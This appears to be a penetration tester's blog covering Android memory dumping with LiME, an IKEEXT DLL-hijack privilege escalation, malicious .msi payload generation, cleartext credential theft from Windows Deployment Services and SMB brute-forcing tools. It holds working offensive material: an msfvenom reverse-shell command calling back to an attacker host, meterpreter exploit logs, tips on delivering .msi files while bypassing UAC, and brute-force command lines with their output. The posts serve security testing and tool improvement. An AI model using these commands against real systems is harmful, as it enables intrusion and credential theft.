Saturday 9 November 2013

Android Memory Forensics – Step by Step on the Galaxy Nexus I9250

This builds upon the excellent guide given by the Volatility team: https://code.google.com/p/volatility/wiki/AndroidMemoryForensics but provides an example for a physical device. This shows you how to dump the memory, but doesn't go into detail of what to do with it when you have it!

Determine Kernel Version and Model


The EAN/UPC code (off barcode on box): 8806071669526 which relates to Samsung Galaxy Nexus I9250.

Model: GT-19250 (taken from sticker under battery)

On the phone check the kernel details:

Settings > About Phone > Kernel version and Model Number

In my instance I have:

Model Number: Full AOSP on Maguro

Kernel: 3.0.31-g6fb96c9

This shows the phone is the maguro device which relates to the omap kernel (see

To match up the Kernel version look at the branches on https://android.googlesource.com/kernel/omap/ and indentify the Makefile which has the matching VERSION and SUBLEVEL:

VERSION = 3

SUBLEVEL = 31

The branch android-omap-tuna-3.0 appeared to match so I have used this in this example.
 

Setting up the environment


I used an Ubuntu 12.04 x64 within VMWare as my build environment.

Install Java6


sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java6-installer

javac -version

Java version should be 1.6

Install Packages


sudo apt-get install ia32-libs

(N.B. This bypasses following error received on x64 Ubuntu 12.04 LTS)

The following packages have unmet dependencies:
libgl1-mesa-glx:i386 : Depends: libglapi-mesa:i386 (= 8.0.4-0ubuntu0.6)

Install the rest of the required packages:

sudo apt-get install git gnupg flex bison gperf build-essential \
  zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev \
  libx11-dev:i386 libreadline6-dev:i386 libgl1-mesa-glx:i386 \
  libgl1-mesa-dev g++-multilib mingw32 tofrodos \
  python-markdown libxml2-utils xsltproc zlib1g-dev:i386 subversion

Download Android Source and Tools


mkdir ~/bin
PATH=~/bin:$PATH

curl http://commondatastorage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo

mkdir android-source
cd android-source
repo init -u https://android.googlesource.com/platform/manifest
repo sync

Configure Environment


source build/envsetup.sh

lunch full_maguro-eng

NB we don’t have to make we are just using the build environment configuration and prebuilt toolchains...

Download Kernel Source


git clone https://android.googlesource.com/kernel/omap.git

Configure and Compile Kernel Source


export ARCH=arm
export SUBARCH=arm
export CROSS_COMPILE=arm-eabi-
cd omap
git checkout -t remotes/origin/android-omap-tuna-3.0 -b tuna

make tuna_defconfig
vi Makefile

Change EXTRAVERSION to the following:

EXTRAVERSION = -g6fb96c9


vi scripts/setversionlocal

Add ‘exit’ around line 31. We do this so that it uses our EXTRAVERSION details rather than trying to generate this value itself.

usage
fi
+exit
scm_version()

 
make

If this works you should have a new arch/arm/boot/zImage file.

Download LiME


svn checkout http://lime-forensics.googlecode.com/svn/trunk/ ~/lime-forensics

Configure LiME


cd lime-forensics/src

vi Makefile

Add green lines, remove red:

+KDIR := ~/omap
+CCPATH := ~/android-source/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin
-       $(MAKE) -C /lib/modules/$(KVER)/build M=$(PWD) modules
-       strip --strip-unneeded lime.ko
-       mv lime.ko lime-$(KVER).ko

+       $(MAKE) ARCH=arm CROSS_COMPILE=$(CCPATH)/$(CROSS_COMPILE) -C $(KDIR) EXTRA_CFLAGS=-fno-pic M=$(PWD) modules

Compile LiME


make

Configure USB Access


sudo vi /etc/udev/rules.d/51-anroid.rules

Replace <username> with your username

# adb protocol on passion (Nexus One)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e12", MODE="0600", OWNER="<username>"
# fastboot protocol on passion (Nexus One)
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", ATTR{idProduct}=="0fff", MODE="0600", OWNER="<username>"
# adb protocol on crespo/crespo4g (Nexus S)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e22", MODE="0600", OWNER="<username>"
# fastboot protocol on crespo/crespo4g (Nexus S)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e20", MODE="0600", OWNER="<username>"
# adb protocol on stingray/wingray (Xoom)
SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", ATTR{idProduct}=="70a9", MODE="0600", OWNER="<username>"
# fastboot protocol on stingray/wingray (Xoom)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="708c", MODE="0600", OWNER="<username>"
# adb protocol on maguro/toro (Galaxy Nexus)
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", ATTR{idProduct}=="6860", MODE="0600", OWNER="<username>"
# fastboot protocol on maguro/toro (Galaxy Nexus)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e30", MODE="0600", OWNER="<username>"
# adb protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d101", MODE="0600", OWNER="<username>"
# adb protocol on panda (PandaBoard ES)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d002", MODE="0600", OWNER="<username>"
# fastboot protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d022", MODE="0600", OWNER="<username>"
# usbboot protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d00f", MODE="0600", OWNER="<username>"
# usbboot protocol on panda (PandaBoard ES)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d010", MODE="0600", OWNER="<username>"
# adb protocol on grouper/tilapia (Nexus 7)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e42", MODE="0600", OWNER="<username>"
# fastboot protocol on grouper/tilapia (Nexus 7)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e40", MODE="0600", OWNER="<username>"
# adb protocol on manta (Nexus 10)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4ee2", MODE="0600", OWNER="<username>"
# fastboot protocol on manta (Nexus 10)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4ee0", MODE="0600", OWNER="<username>"

Download android-sdk


The android SDK is required for the Android Debug Bridge (adb) tool to upload and run a shell on the target device. USB Debugging is required for this.

wget http://dl.google.com/android/android-sdk_r22.3-linux.tgz

tar xvzf android-sdk_r22.3-linux.tgz

mv android-sdk_r22.3-linux android-sdk

Dumping the Actual Memory


We use the ADB tool to push the kernel module and then load the module which opens a TCP connection. We then use netcat to connect to the TCP server and redirect the output to a file.

cd ~/android-sdk/platform-tools

./adb devices

List of devices attached
01498B2B06001012 device

./adb push ~/lime-forensics/src/lime.ko /sdcard/lime.ko

953 KB/s (454855 bytes in 0.466s)

./adb forward tcp:4444 tcp:4444

./adb shell

su

cd /sdcard

insmod lime.ko "path=tcp:4444 format=lime"

On host:

nc localhost 4444 > lime.dump

This may take a few minutes but insmod and nc should gracefully exit when they are done.

ls -lh lime.dump

-rw-rw-r-- 1 ben ben 713M Nov 8 06:08 lime.dump

We can verify this worked by running strings on the memory dump looking for strings we know to exist (e.g. maradonna was typed into the search box):

strings lime.dump |grep maradonna

',1,5) END) AS snippet FROM search_index WHERE search_index MATCH 'content:maradonna* OR name:3F2749272D43414127* OR tokens:maradonna*' AND snippet_contact_id IN default_directory) ON (_id=snippet_contact_id) LIMIT 50

Thursday 5 September 2013

IKEEXT Windows Local Privilege Escalation

A while ago High-Tech Bridge posted a notification of an issue affecting Vista to 2008 (the service exists in Windows 8 but I haven't checked it) which leads to a Local Privilege Escalation to SYSTEM.

Basically the IKEEXT service, which is often set to 'Automatic' start is missing the wlbsctrl.dll and Microsoft have no intention of fixing it. To exploit this vulnerability another weakness must be present on the box. The %PATH% must contain a user writeable folder (or one the user can create). By creating the missing DLL even if the user cannot start the service they will likely be able to reboot the machine, catching the SYSTEM shell when it reboots.

msf exploit(ikeext_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.121:4444 
[*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[*] Path C:\Program Files\Microsoft Windows Performance Toolkit\ does not exist...
[+] Write permissions in c:\bin - RW
[*] Writing 14336 bytes to c:\bin\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
sessions -i 3
[*] Starting interaction with 3...

meterpreter > reboot
Rebooting...
meterpreter > 
[*] 192.168.1.11 - Meterpreter session 3 closed.  Reason: Died

[*] Sending stage (752128 bytes) to 192.168.1.11
[*] Meterpreter session 4 opened (192.168.1.121:4444 -> 192.168.1.11:49155) at 2013-09-05 23:04:03 +0100
[+] Deleted c:\bin\wlbsctrl.dll
msf exploit(ikeext_service) > sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  --  ----                   -----------                     ----------
  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ IE11WIN7  192.168.1.121:4444 -> 192.168.1.11:49155 (192.168.1.11)

This exploit could also be a sneaky persistence technique... and don't forget to switch targets for x64 systems.

You can find other exploits using techniques like this from Mubix, or more in-depth coverage can be found on binaryplanting.com. If you don't understand how bypassuac works then this is also worth a read.

Sunday 14 July 2013

Testing Apache Wicket Web Apps (1.4.x)

Apache Wicket is a Java web application framework, and its annoying to test against as it maintains a lot of state server side which makes client side manipulation difficult.

Depending on the URLCodingStrategy in use (and whether or not Encryption of the URL is in place*) you may see request containing the following parameter (or similar):

wicket:interface=:0:1:::

Each subsequent request will increase the sequence number, indicating a different version of the web page:

wicket:interface=:0:2:::
wicket:interface=:0:3:::
wicket:interface=:0:4:::

An identifier parameter with no value will be included and may be incremented for each page:

id1_hf_0=

This URL parameter tells the server which page state you are requesting. Depending on how the page has been written some will complain if requests are repeated with the wrong sequence number causing your attack to fail.

It should be possible to use the Burp Session Handling Rules to capture the new wicket:interface value as you would a CSRF token, but the macro rules didn't seem to like replacing wicket:interface and couldn't handle the identifier parameter as it changes name every time and contains no value.

I cobbled together a Burp SessionHandlingAction plugin to help overcome some of these issues and allow me to use the Repeater/Intruder/Scanner tools with valid requests, its available on Github:

https://github.com/Meatballs1/burp_wicket_handler

Its not a polished piece of work, and will probably need customization for an individual application. It also requires a Burp Macro to be recorded that will retrieve the correct wicket:interface and identifier parameters.

The steps to do this are:

1) Add Macro - The request must contain the correct wicket:interface in the response.




2) Add Session Handling - Select 'Add' > Invoke Burp Extension


3) Configure Scope

When running a tool such as Intruder or Scanner you will want to drop the number of threads down to 1. If you try and run concurrent threads you will often find that some responses will contains values from another thread. This becomes more obvious if you try to use the repeater tool whilst you have intruder running on the same page!

I hope the above is useful for someone, it has only been tested against a single installation so your mileage may vary. Instead of using a pre-recorded Macro you could extend it to perform the request using the Burp interface. This could allow more flexibility in the plugin to handle different pages automatically.

* I haven't encountered Encrypted URLs but the underlying SessionHandling actions should be able to handle this.

Sunday 10 March 2013

Metasploit MSI Payload Generation

A few months ago I created a Metasploit Local Exploit to capitalize on a registry/group policy setting that meant that .msi files were installed with SYSTEM privileges. This was documented by Parvez Anwar a while back and exploits the 'AlwaysInstallElevated' registry key or 'Always install with elevated privileges' group policy. The result is with these settings enabled a user can escalate their privileges to SYSTEM by running an .msi that executes a command or binary of their choosing.

 
It was relatively straightforward to create an .msi file that executed a file or command, using WiX, but integrating it into Metasploit to contain an automatically generated payload was not. There are no libraries to generate .msi files in Ruby as far as I could determine.

The workaround was to create a static .msi file that executes 'payload.exe' in the same folder. This .msi file and a generated Metasploit .exe are both uploaded to the target machine and the payload is executed by the .msi. This felt a bit clunky to me and I wanted to package it all up in one neat payload.

I created a simple .msi file containing a buffer as a template file. The plan was to locate the start offset (indicated by __PAYLOAD__), and overwrite that with my generated PE file. Unfortunatly, due to the way the file is constructed, it is not placed in a linear fashion within the .msi.



Bs before As doh!
 

With a bit of research I was able to uncover that while the .msi format isn't publicly documented the Microsoft Compound Document format is. A good practical description of it is available on forensicswiki.org. Using this I was able to work out the chain of locations the buffer was split into and I could correctly overwrite the file with my generated payload. Now I can generate .msi files with custom payloads using my template .msi:

./msfvenom -f msi -p windows/meterpreter/reverse_tcp LHOST=10.0.5.101 LPORT=4444 > meterp.msi

There are some interesting things to note if you are sending malicious .msi files to a target user. By default it will ask a normal user for admin credentials, or an admin user to accept the changes (if UAC is enabled).

 
The flipside to this is that the executable will be run under SYSTEM privileges.

If you can entice the user, or find another way, to run the .msi file via msiexec with the /quiet flag then this will bypass UAC. The executable will be run under the normal user's privileges, or SYSTEM if they were an admin.

 
To prevent a record of the installation in the Windows Program list some invalid VBS is attempted to make the installation fail. This will leave behind only a MSI .log file in the %TEMP% folder and a .tmp file in the C:\Windows\Installer folder (which cannot be deleted as it is the running executable).
 
 
 
I believe there are methods to make an .msi file install without requiring administrative privileges for normal users, and as my installation does not touch Program Files or the registry it is likely with further modification that this should be possible. Any feedback on this would be happily received.

You can watch the progress of this as it navigates its way into the Metasploit Framework by the Github pull request.

Whilst working on this module I was thinking of the other uses it could be put to. It may be useful when exploiting a network that uses SCCM or other third party software control or update mechanisms. I hope one day to find a writeable 'update' directory which will automatically distribute .msi files to the network.</dream>

Thursday 1 November 2012

Windows Deployment Services Clear Text Domain Creds

Dave, Rel1k, Kennedy's talk 'Owning One To Rule Them All' at Defcon 20 Las Vegas opened my eyes to using a client's PXEBoot service, normally Windows Deployment Services, to infiltrate their network. The gist of the attack is simple, network boot a computer, retrieve the corporate image, and use that to gain information/credentials for the corporate domain.

The easiest way to do this, other than bringing a seperate machine, is to use a VM, but a lot of the windows boot images do not have drivers for the latest VMWare network interfaces. To get around this we can force a PXEBoot VM Image to use an older NIC by editing the VMX file with the following:

Add: ethernet0.virtualDev = "e1000" after ethernet0.present = "TRUE"

The next step is to network boot, obtain a PXEBoot response, and a Windows Boot Image is sent over TFTP to our machine.

Depending on the configuration two things may occur:

You may be asked for a password to connect to the image share - unfortunately you need a valid domain account at this stage and probably wont get further without it.

Alternatively you get a choice of a number of different images, they all could contain goodies, and are all worth checking out, but installing one can take a significant amount of time.

When you have the installed machine loaded, there's a number of possibilities for obtaining credentials:

a) The image could have been cloned from an existing machine, all post exploitation steps are viable to obtain credentials: hashdump the local accounts or Mimikatz/WCE to retrieve in memory credentials (the machine will often be configured to AutoLogin etc). If you don't have admin credentials on the machine you can mount the VM harddrive and copy the SYSTEM and SAM files to your host machine for cracking. Local credentials will often be the same for many client workstations/laptops and they may even be valid on servers.

b) The image could be automatically joined to the domain - we can now enumerate users, group policy preference files, logon scripts and domain shares to discover credentials.

c) Find the unattend.xml or imageunattend.xml file used to configure the image. If the process has worked correctly most credentials will be wiped from the XML file as they are applied. You may have some luck pausing the VM at certain points after installation but before it boots and mounting the virtual disk to obtain the unprocessed unattend.xml.

All of the above, is generally pretty easy, but can be very time consuming. You may not have set your VM harddrive large enough for the image, you may not have enough room spare to host the VM, errors with drivers may occur as they are meant for specific hardware, and it takes time to boot over the network and install each operating system they have available.

To ease my pain when performing these checks, I started writing some Metasploit modules to speed up the process:  auxiliary/scanner/pxe/pxe_servers which simply sends out DHCP Requests and listens for a DHCP Response containing the location of the PXEBoot server.

I need to do some more work on this - you may find this python more useful: https://github.com/Meatballs1/PXEClient/blob/master/pxeclient.py
 


We can verify this is a Windows Deployment Service with the following command (if you have installed Impacket or use Metasploit's auxiliary/scanner/dcerpc/endpoint_mapper):

rpcdump.py 192.168.10.22 135/TCP |grep -i "1a927394-352e-4553-ae3f-7cf4aafca620"
1A927394-352E-4553-AE3F-7CF4AAFCA620/Version: 1
1A927394-352E-4553-AE3F-7CF4AAFCA620/StringBindings: ncacn_ip_tcp:[5040]

(1a927394-352e-4553-ae3f-7cf4aafca620 being the GUID identifying the Windows Deployment Services RPC Endpoint)

The goal of my investigations now, was to discover how to obtain the unadulterated unattend file without going through the rigmarole of performing a full PXEBoot install. After setting up my own WDS it is obvious that two SMB shares are often used to deploy the windows images, and unattend files:

\\server\RemInst  is the default folder used by Windows Deployment Services and should always have this name no matter which drive or folder they store images in.
\\server\DeploymentShare$  is the default folder used by Microsoft Deployment Toolkit, but this can be renamed but should generally always have a comment of 'MDT Deployment Share'.

When we gain access to these shares, it is simple to do a search for *unattend.xml but I believe they are generally located in the following paths:

RemInst\Images\XXXX\unattend\ImageUnattend.xml
DeploymentShare\Control\#\Unattend.xml

These shares need a domain login, which is why we get prompted at the start of the process if the administrator hasn't set the installation to be completely unattended or 'zero-touch'. Fortunatly administrators often do configure WDSthis way and if this is the case TWO unattend files are actually used:

http://technet.microsoft.com/en-us/library/cc732729(v=ws.10).aspx
Windows Deployment Services client unattend file. This file uses the Unattend.xml format and is stored on the Windows Deployment Services server in the \WDSClientUnattend folder. It automates the Windows Deployment Services client user interface screens (such as entering credentials, choosing an install image, and configuring the disk).

Image unattend file. This file uses either the Unattend.xml or Sysprep.inf format, depending upon the version of the operating system in the image. It is used to configure unattended installation options during Windows Setup and is stored in a subfolder (either $OEM$ structure or \Unattend) in the per-image folder. It automates the remaining phases of Setup (for example, offline servicing, Sysprep specialize, and mini-setup).

That first WDS client unattend file may contain valid domain credentials, but how do we view it?

Microsoft decided this would be a good file to send in clear text without requiring authentication making it trivial to recover if we monitor the traffic of our VM install with the following Wireshark filter 'ip.addr==x.x.x.x && dcerpc':


I didn't want to have to boot up a VM to recover this file everytime,  it can take some time for TFTP to transfer the boot files, and the process can really eat into your testing time so I went about creating a tool to recover the unattend file directly from this service.

Fortunately for us this protocol is all documented on technet and is the Windows Deployment Services Control Protocol (WDSCP) running on TCP/5040.

http://msdn.microsoft.com/en-us/library/dd541214(v=prot.10).aspx

It also uses the Windows Deployment Services Operation System Deployment Protocol Specification (WDSOSDPS) where anyone digging deep enough into the documentation may have discovered this issue by RTFM:

http://msdn.microsoft.com/en-us/library/dd891320(prot.20).aspx



To that end I have created a metasploit module:

auxiliary/scanner/dcerpc/windows_deployment_services

It will retrieve the unattend files for all architectures and store as loot. It will then parse the XML to retrieve the credentials and store as creds.

 

What if I protect my WDS installation by setting it to 'Respond only to known client computers' or even 'Do not respond to any client computers'?


As you can see from the tab name this only prevents the server from responding to DHCP/BOOTP PXE Requests, the RPC endpoint is still active, and will still respond to requests for the unattend file without any verification of the client. Requests for the unattend file do not show up in the 'Pending Devices', this only occurs if you download and load the boot file, making this method more stealthy than a VM boot.

Finally to make use the gained credentials, and hopefully obtain further credentials I created auxiliary/gather/windows_deployment_services_shares. This will enumerate the shares on the host and search through for unattend files and then extract credentials from them:


https://github.com/rapid7/metasploit-framework/pull/1420

Wednesday 12 September 2012

Is Your SMB Bruteforcer Lying To You?

A few weeks back, on a job, I had enumerated a list of domain users from a linux device attached to a windows domain due to anonymous access. Not knowing the lockout policy I gave a quick attempt to enumerate which accounts had a weak password, 'Password1', using Metasploit's smb_login module.

I got one positive result back, a normal domain user. But unknown to me at the time, in that sea of red error responses, I had domain admin accounts responding to valid credentials. However it was not a login success, but rather STATUS_PASSWORD_MUST_CHANGE which wasn't highlighted by Metasploit. Domain Admins can RDP in and update their password so this was an instant win - when I finally spotted it by accident sometime later...

I tried again with Hydra which picked up a second account, but not a third account responding with a different error message (STATUS_ACCOUNT_LOCKED_OUT).

When I got back I set about updating the smb_login module to catch these valid credentials and looked at the different responses. It's easy to lose track of these valid creds when you are enumerating thousands of other accounts reporting STATUS_LOGIN_FAILURE:

 
Looking at the Microsft SMB Error Codes and NTSTATUS values, the NMAP smb-brute script, and Medusa source code I found the following status codes probably indicate correct credentials:
 
STATUS_SUCCESS
STATUS_PASSWORD_MUST_CHANGE
STATUS_PASSWORD_EXPIRED
STATUS_ACCOUNT_DISABLED
STATUS_ACCOUNT_LOCKED_OUT (Correction: LOCKED_OUT responds with invalid creds as well)
STATUS_ACCOUNT_EXPIRED
STATUS_ACCOUNT_RESTRICTION
STATUS_INVALID_LOGON_HOURS
STATUS_LOGON_TYPE_NOT_GRANTED
STATUS_INVALID_WORKSTATION
AUTHENTICATION_FIREWALL_PROTECTION
 
 
I was able to test all of these, with the exception of STATUS_INVALID_WORKSTATION, by modifying Active Directory user accounts, GPO, or Local Security Policies. AUTHENTICATION_FIREWALL_PROTECTION is named by Medusa but does not appear to map to a known SMB Error Code but appears to map to 0x00000064 and occurs when the machine is protected by some kind of authentication firewall.
 
STATUS_LOGIN_TYPE_NOT_GRANTED - GPO/Security Settings/Local Policies/Deny access to this computer from the network
STATUS_ACCOUNT_RESTRICTION - Local Security Policy/Accounts: Limit local account use of blank passwords to computer.
 
Due to the disparities I had seen in my toolkit, I thought it best to see which provide the most accurate and useful feedback so I went about testing and comparing the following:

Metasploit 4.5.0 smb_login module
Hydra 7.3
Ncrack 0.4ALPHA
Medusa v2.1.1
NMAP 6.01 smb-brute plugin

The following table shows the results of each tool against the expected 'valid' credential status codes:

STATUS Metasploit Hydra Ncrack Medusa NMAP
STATUS_PASSWORD_MUST_CHANGE x y x y *
STATUS_PASSWORD_EXPIRED x x x y *
STATUS_ACCOUNT_DISABLED x x x y *
STATUS_ACCOUNT_EXPIRED x y x y *
STATUS_ACCOUNT_RESTRICTION x y x y *
STATUS_INVALID_LOGON_HOURS x x x y *
STATUS_LOGON_TYPE_NOT_GRANTED x y x y *

Hydra identified some status codes but not others. It may be a design decision to not report certain creds such as ACCOUNT_DISABLED, as they are unlikely to be useful when testing. However PASSWORD_EXPIRED can often be fixed with a console or RDP login, ACCOUNT_LOCKED_OUT may reset after a certain period (default 30 mins), and INVALID_LOGIN_HOURS just means you just need to try again later.

The NMAP smb-brute failed to identify a valid login against even my positive test case but did identify all accounts as 'locked'. Perhaps I was using it incorrectly and happy to be corrected, see later for output. It also automatically performed attempts with a blank password, locking out accounts earlier than expected and I would avoid it for now.

Ncrack identified a correct login but failed to identify any of the other status codes. I believe it is no longer under development in favour of Nmap scripts.

Medusa performed admirably identifying all cases and marking them as successful.

Metasploit presents the status codes but does not flag the credentials as valid. It also performs unpredictably depending on the SMBDomain setting:

Firstly 'unset SMBDomain' will likely cause all accounts to fail.

Against the DC with SMBDomain set to a random value, 'SomeIncorrectDomain1234', all status codes are correctly returned and valid domain accounts are marked correctly. The same is true for '' and '.'.

Against a Domain Workstation with SMBDomain set to a random value, all status codes return STATUS_LOGON_FAILURE except for valid credentials which will login. Set to  '.' will also return STATUS_LOGON_FAILURE however a blank SMBDomain. '', will return the detailed error codes.

With the correct SMBDomain things work as expected (but you may not always know this).

For now I would recommend Medusa for brute forcing SMB. I have a pull request to submit an updated Metasploit smb_login module, but this requires more testing as I have just been using it against Windows 2k12 DC and a Windows XP SP3 so some validation especially against Linux SAMBA installations is necessary, and possibly on LM systems?

My changes to the module pick out valid credentials in blue, these should be much more visible when placed against a lot of red STATUS_LOGON_FAILURE. They are also all reported to the database but as inactive credentials so need to be accessed with the command 'creds all'.



Tool output (for anyone that is interested):

Medusa

root@bt:~# medusa -h 192.168.1.38 -p "" -C /root/jobs/users_medusa.txt -M smbnt -O ~medusa_output
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <
jmk@foofus.net>
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test1 (1 of 8, 0 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test1 Password: Password1 [SUCCESS (0x000224:STATUS_PASSWORD_MUST_CHANGE)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test2 (2 of 8, 1 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test2 Password: Password1 [SUCCESS (0x000071:STATUS_PASSWORD_EXPIRED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test3 (3 of 8, 2 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test3 Password: Password1 [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test4 (4 of 8, 3 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test4 Password: Password1 [SUCCESS (0x000193:STATUS_ACCOUNT_EXPIRED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test5 (5 of 8, 4 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test5 Password: Password1 [SUCCESS (0x00006F:STATUS_INVALID_LOGON_HOURS)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test6 (6 of 8, 5 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test6 Password: Password1 [SUCCESS]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test7 (7 of 8, 6 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test7 Password: Password1 [ERROR (0x000234:STATUS_ACCOUNT_LOCKED_OUT)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.38 (1 of 2, 0 complete) User: test9 (8 of 8, 7 complete) Password: Password1 (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.38 User: test9 Password: Password1 [SUCCESS (0x00015B:STATUS_LOGON_TYPE_NOT_GRANTED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.28 (2 of 2, 1 complete) User: test8 (1 of 1, 0 complete) Password:  (1 of 2 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.28 User: test8 Password:  [SUCCESS (0x00006E:STATUS_ACCOUNT_RESTRICTION)]


Ncrack

root@bt:~/nmap# ncrack -U /root/jobs/users_nopass.txt --pass Password1 smb://192.168.1.38:445
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2012-09-12 21:24 BST
Discovered credentials for smb on 192.168.1.38 445/tcp:
192.168.1.38 445/tcp smb: 'test6' 'Password1'

Ncrack done: 1 service scanned in 3.00 seconds.
Ncrack finished.root@bt:~/nmap# ncrack -U /root/jobs/users_nopass.txt --pass Password1 smb://192.168.1.28:445
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2012-09-12 21:24 BST
Discovered credentials for smb on 192.168.1.28 445/tcp:
192.168.1.28 445/tcp smb: 'test6' 'Password1'

Ncrack done: 1 service scanned in 3.01 seconds.
Ncrack finished.

Hydra

root@bt:~/jobs# hydra -C users_colon.txt 192.168.1.38 smb
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-12 21:24:39
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 9 login tries, ~9 tries per task
[DATA] attacking service smb on port 445
[445][smb] host: 192.168.1.38   login: test1   password: Password1
[445][smb] host: 192.168.1.38   login: test4   password: Password1
[445][smb] host: 192.168.1.38   login: test6   password: Password1
[445][smb] host: 192.168.1.38   login: test8   password:
[445][smb] host: 192.168.1.38   login: test9   password: Password1
[STATUS] attack finished for 192.168.1.38 (waiting for children to finish)
1 of 1 target successfuly completed, 5 valid passwords found
Hydra (
http://www.thc.org/thc-hydra) finished at 2012-09-12 21:24:39root@bt:~/jobs# hydra -C users_colon.txt 192.168.1.28 smb
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-12 21:24:53
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 9 login tries, ~9 tries per task
[DATA] attacking service smb on port 445
[445][smb] host: 192.168.1.28   login: test1   password: Password1
[445][smb] host: 192.168.1.28   login: test4   password: Password1
[445][smb] host: 192.168.1.28   login: test6   password: Password1
[445][smb] host: 192.168.1.28   login: test8   password:
[445][smb] host: 192.168.1.28   login: test9   password: Password1
[STATUS] attack finished for 192.168.1.28 (waiting for children to finish)
1 of 1 target successfuly completed, 5 valid passwords found
Hydra (
http://www.thc.org/thc-hydra) finished at 2012-09-12 21:24:53

Metasploit smb_login

  Name              Current Setting       Required  Description
   ----              ---------------       --------  -----------
   BLANK_PASSWORDS   false                 no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                     yes       How fast to bruteforce, from 0 to 5
   PASS_FILE                               no        File containing passwords, one per line
   PRESERVE_DOMAINS  true                  no        Respect a username that contains a domain name.
   RECORD_GUEST      false                 no        Record guest-privileged random logins to the database
   RHOSTS            192.168.1.38          yes       The target address range or CIDR identifier
   RPORT             445                   yes       Set the SMB service port
   SMBDomain         WORKGROUP             no        SMB Domain
   SMBPass                                 no        SMB Password
   SMBUser                                 no        SMB Username
   STOP_ON_SUCCESS   false                 yes       Stop guessing when a credential works for a host
   THREADS           1                     yes       The number of concurrent threads
   USERPASS_FILE     /root/jobs/users.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                 no        Try the username as the password for all users
   USER_FILE                               no        File containing usernames, one per line
   VERBOSE           true                  yes       Whether to print output for all attempts


[*] 192.168.1.38:445 SMB - Starting SMB login bruteforce
[-] 192.168.1.38 - This system allows guest sessions with any credentials, these instances will not be reported.
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test1 : Password1 (STATUS_PASSWORD_MUST_CHANGE)
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test2 : Password1 (STATUS_PASSWORD_EXPIRED)
